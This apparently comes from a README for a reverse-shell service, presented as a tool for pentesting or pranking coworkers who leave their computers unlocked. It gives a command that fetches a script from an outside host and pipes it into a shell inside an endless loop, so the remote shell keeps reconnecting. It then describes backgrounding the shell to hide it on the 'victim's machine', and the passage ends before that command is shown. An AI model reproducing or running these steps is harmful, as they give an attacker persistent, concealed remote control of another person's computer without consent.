This is meant to be used for pentesting or helping coworkers understand why they should always lock their computers. Please don't use this for anything malicious.
By default when the shell exits you lose your connection. You may do this by accident with an invalid command. You can easily create a shell that will attempt to reconnect by wrapping it in a while loop.
```shell
while true; do curl https://shell.now.sh/yourip:1337 | sh; done
```
Be careful if you do this to a coworker, if they leave the office with this still running you're opening them up to attack.
The terminal session needs to be kept open to persists the reverse shell connection. That might be a bit of a giveaway if you're trying to prank coworkers.
The following command will run the reverse shell in a background process and exit the terminal, leaving no suspicious looking terminal windows open on the victim's machine.